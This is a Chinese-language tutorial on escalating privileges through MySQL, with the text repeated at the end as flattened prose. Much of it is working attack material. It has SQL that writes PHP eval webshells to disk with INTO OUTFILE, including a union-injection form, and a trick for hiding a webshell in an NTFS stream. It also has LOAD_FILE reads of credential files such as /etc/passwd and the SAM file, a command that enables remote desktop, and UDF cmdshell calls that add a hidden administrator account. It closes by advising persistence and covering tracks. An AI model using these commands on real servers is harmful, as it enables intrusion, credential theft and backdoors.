Mysql提权基础
字数 1761 2025-08-29 08:31:41

MySQL提权基础教学文档

1. MySQL提权概述

MySQL是一种中、小型关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司。MySQL采用GPL(GNU通用公共许可证),分为免费版和商业版。

1.1 MySQL提权必备条件

  1. 服务器安装MySQL数据库:利用MySQL提权的前提是服务器安装了MySQL数据库
  2. MySQL服务未降权:MySQL数据库默认安装以系统权限继承
  3. 获取MySQL root账号密码:需要获取具有足够权限的账号凭证

1.2 判断MySQL服务运行权限

  1. 查看系统账号:使用net user命令查看系统当前账号,如果出现mysql用户可能意味着降权
  2. 查看mysqld运行的Priority值:系统权限的Priority值为"8",如果mysqld的Priority值也为8则意味着以System权限运行
  3. 查看端口外联情况:扫描3306端口判断是否提供对外连接

2. MySQL密码获取与破解

2.1 获取网站数据库账号和密码

  1. 查找CMS配置文件

    • DedeCMS:data/common.inc.php
    • Discuz:config/config_global_default.php、config/config_ucenter.php、config.inc.php
    • 一般位于config、application、conn、db等目录
    • Java应用可能在/WEB-INF/config/config.properties中
  2. Linux系统获取方法

    • 查看./root/.mysql_history、./root/.bash_history文件
    • MySQL 5.6以下版本,binary log中可能包含明文密码(使用mysqlbinlog binlog.000001查看)

2.2 获取MySQL数据库user表

MySQL用户密码保存在:

  • Windows:C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL目录下的user.frm、user.MYD和user.MYI文件
  • 可将这些文件下载到本地读取

2.3 MySQL密码查询

select user,password from mysql.user;
select user,password from mysql.user where user ='root';

2.4 MySQL密码加密算法

MySQL使用两次SHA1夹杂一次unhex的方式加密密码:
password_str = concat('*', sha1(unhex(sha1(password))))

验证查询:

select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));

3. MySQL获取Webshell

3.1 必备条件

  1. 知道站点物理路径
  2. 有足够权限(最好是root账号)
  3. magic_quotes_gpc()=OFF

3.2 导出Webshell方法

  1. 直接导出
Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
and 1=2 union all select 一句话HEX into outfile '路径';
  1. 通过创建表导出
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL);
INSERT INTO `mysql`.`darkmoon` (`darkmoon1`) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
  1. Windows下使用SQLTOOLs工具
echo ^<?php @eval(request[xxx]c:\web\www\shell.php

4. MySQL渗透有用函数与技巧

4.1 有用函数

  1. 系统信息函数:

    • DATABASE()
    • USER()
    • SYSTEM_USER()
    • SESSION_USER()
    • CURRENT_USER()
  2. 文件读取函数:

    • load_file() - 读取文件内容并返回字符串

4.2 常见系统配置文件路径

Windows系统:

c:/boot.ini
c:/windows/php.ini
c:/windows/my.ini
c:\mysql\data\mysql\user.MYD
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam

Linux/Unix系统:

/etc/passwd
/etc/issues
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf

4.3 文件读取示例

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf');

4.4 NTFS ADS技巧

  1. MySQL创建目录
select 'xxx' into outfile 'D:\mysql\lib::$INDEX_ALLOCATION';
  1. 隐藏Webshell
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

4.5 实用命令

  1. 3389相关
netstat -an |find "3389"
tasklist /svc | find "TermService"
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (CLASS != "") call setallowtsconnections 1
  1. MySQL常用命令
show databases;
use database_name;
show tables;
select @@datadir;
select @@basedir;
show variables like '%plugins%';
  1. 系统信息查询
select system_user();
select current_user();
select version();
select database();
select @@version_compile_os;

4.6 UDF提权常用函数

  • cmdshell - 执行cmd命令
  • downloader - 下载文件
  • open3389 - 开启3389终端服务
  • backshell - 反弹Shell
  • ProcessView - 枚举系统进程
  • KillProcess - 终止进程
  • regread - 读注册表
  • regwrite - 写注册表
  • shut - 关机/注销/重启

使用示例

select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');

5. 总结

MySQL提权是一个系统性的过程,需要掌握:

  1. MySQL服务权限判断方法
  2. 密码获取与破解技术
  3. Webshell获取技巧
  4. 系统信息收集与利用
  5. UDF提权等高级技术

在实际渗透测试中,需要根据目标环境灵活组合使用这些技术,同时注意权限维持和痕迹清理。

MySQL提权基础教学文档 1. MySQL提权概述 MySQL是一种中、小型关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司。MySQL采用GPL(GNU通用公共许可证),分为免费版和商业版。 1.1 MySQL提权必备条件 服务器安装MySQL数据库 :利用MySQL提权的前提是服务器安装了MySQL数据库 MySQL服务未降权 :MySQL数据库默认安装以系统权限继承 获取MySQL root账号密码 :需要获取具有足够权限的账号凭证 1.2 判断MySQL服务运行权限 查看系统账号 :使用 net user 命令查看系统当前账号,如果出现mysql用户可能意味着降权 查看mysqld运行的Priority值 :系统权限的Priority值为"8",如果mysqld的Priority值也为8则意味着以System权限运行 查看端口外联情况 :扫描3306端口判断是否提供对外连接 2. MySQL密码获取与破解 2.1 获取网站数据库账号和密码 查找CMS配置文件 : DedeCMS:data/common.inc.php Discuz:config/config_ global_ default.php、config/config_ ucenter.php、config.inc.php 一般位于config、application、conn、db等目录 Java应用可能在/WEB-INF/config/config.properties中 Linux系统获取方法 : 查看./root/.mysql_ history、./root/.bash_ history文件 MySQL 5.6以下版本,binary log中可能包含明文密码(使用 mysqlbinlog binlog.000001 查看) 2.2 获取MySQL数据库user表 MySQL用户密码保存在: Windows: C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL 目录下的user.frm、user.MYD和user.MYI文件 可将这些文件下载到本地读取 2.3 MySQL密码查询 2.4 MySQL密码加密算法 MySQL使用两次SHA1夹杂一次unhex的方式加密密码: password_str = concat('*', sha1(unhex(sha1(password)))) 验证查询: 3. MySQL获取Webshell 3.1 必备条件 知道站点物理路径 有足够权限(最好是root账号) magic_ quotes_ gpc()=OFF 3.2 导出Webshell方法 直接导出 : 通过创建表导出 : Windows下使用SQLTOOLs工具 : 4. MySQL渗透有用函数与技巧 4.1 有用函数 系统信息函数: DATABASE() USER() SYSTEM_ USER() SESSION_ USER() CURRENT_ USER() 文件读取函数: load_ file() - 读取文件内容并返回字符串 4.2 常见系统配置文件路径 Windows系统: Linux/Unix系统: 4.3 文件读取示例 4.4 NTFS ADS技巧 MySQL创建目录 : 隐藏Webshell : 4.5 实用命令 3389相关 : MySQL常用命令 : 系统信息查询 : 4.6 UDF提权常用函数 cmdshell - 执行cmd命令 downloader - 下载文件 open3389 - 开启3389终端服务 backshell - 反弹Shell ProcessView - 枚举系统进程 KillProcess - 终止进程 regread - 读注册表 regwrite - 写注册表 shut - 关机/注销/重启 使用示例 : 5. 总结 MySQL提权是一个系统性的过程,需要掌握: MySQL服务权限判断方法 密码获取与破解技术 Webshell获取技巧 系统信息收集与利用 UDF提权等高级技术 在实际渗透测试中,需要根据目标环境灵活组合使用这些技术,同时注意权限维持和痕迹清理。